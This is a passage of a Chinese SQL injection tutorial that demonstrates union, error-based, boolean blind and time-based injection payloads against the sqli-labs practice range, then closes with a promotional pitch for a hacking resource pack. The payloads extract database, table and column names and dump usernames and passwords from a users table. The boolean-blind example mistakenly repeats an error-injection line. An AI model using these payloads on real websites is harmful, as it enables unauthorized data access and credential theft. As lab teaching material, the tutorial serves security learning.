2.手法类型
以下是几种常见的SQL注入类型,基于sqli-labs-master靶场第二关(数字型)作为演示:
层级关系
(一)联合查询
union select 1,version(),database() --+
//查询数据库版本、当前数据库名
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+
// 查询出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+
// 查询出全部数据库,group\_concat()函数可查询多条信息,不使用group\_concat()只回显一条信息
union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+
// 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
// 爆出数据库" security "里的所有表名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+
// 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+
// 从表名" users "中爆出全部字段来
union select 1,database(),concat(id,0x7e,username,0x3A,password,0x7e) from users limit 0,1 --+
// 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+
// 从" users "表里对应的列名中爆出所有数据来
(二)报错注入
数据库版本不同,导致使用报错注入的函数或有差异,此次采用extractvalue()函数进行测试,其他函数方法类似
- 查出当前数据库
and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
//查出当前数据库
- 查库名
and extractvalue(1,concat(0x5e,(select schema_name from information_schema.schemata limit 1,1),0x5e)) --+
// 查询出一个数据库名,limit从第一条库名后开始,取一条库名
- 查表
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e)) --+
//从当前数据库查表,多条信息不显示所以用limit关键字限制,从第一条数据开始,取一条信息
- 查字段
and extractvalue(1,concat(0x5e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x5e)) --+
// 从当前数据库里的" users "表里,查询出一个字段名来
- 查数据
and extractvalue(1,concat(0x5e,( select concat(id,0x5e,username,0x5e,password) from users limit 0,1),0x5e)) --+
// 从" users "表里对应的列名中,查出一个数据来
(三)布尔盲注
- length()判断数据库长度
通过Less-8第八关测试数据库长度为8字节,匹配成功则有回显,演示:
?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
数据库字节长度不匹配,没有回显
- 利用页面的布尔类型状态来进行判断,⽬标获取数据库名字
and ascii(substr((select database()),1,1))=115 --+
//substr()获取当前数据库第一个字符,ascii()转换为ASCII码,回显成功证明该数据库第一个字符ASCII码为当前数值
(四)延迟注入
?id=3' and if(length(database())=8,sleep(5),1)--+
//表达式为真,判断数据库字节长度为8时,沉睡5秒
3.传参方式分类
根据SQL 注入漏洞的原理,在用户的“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有可能存在SQL 注入的可能,这些地方通常包括:
(一)GET 数据
(二)POST 数据
(三)cookie 数据
四、使用sqlmap工具注入
参考链接: 详细sqlmap工具使用
正在更新. . . . . . . . . . . . . .
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
详情docs.qq.com/doc/DSlhRRFFyU2pVZGhS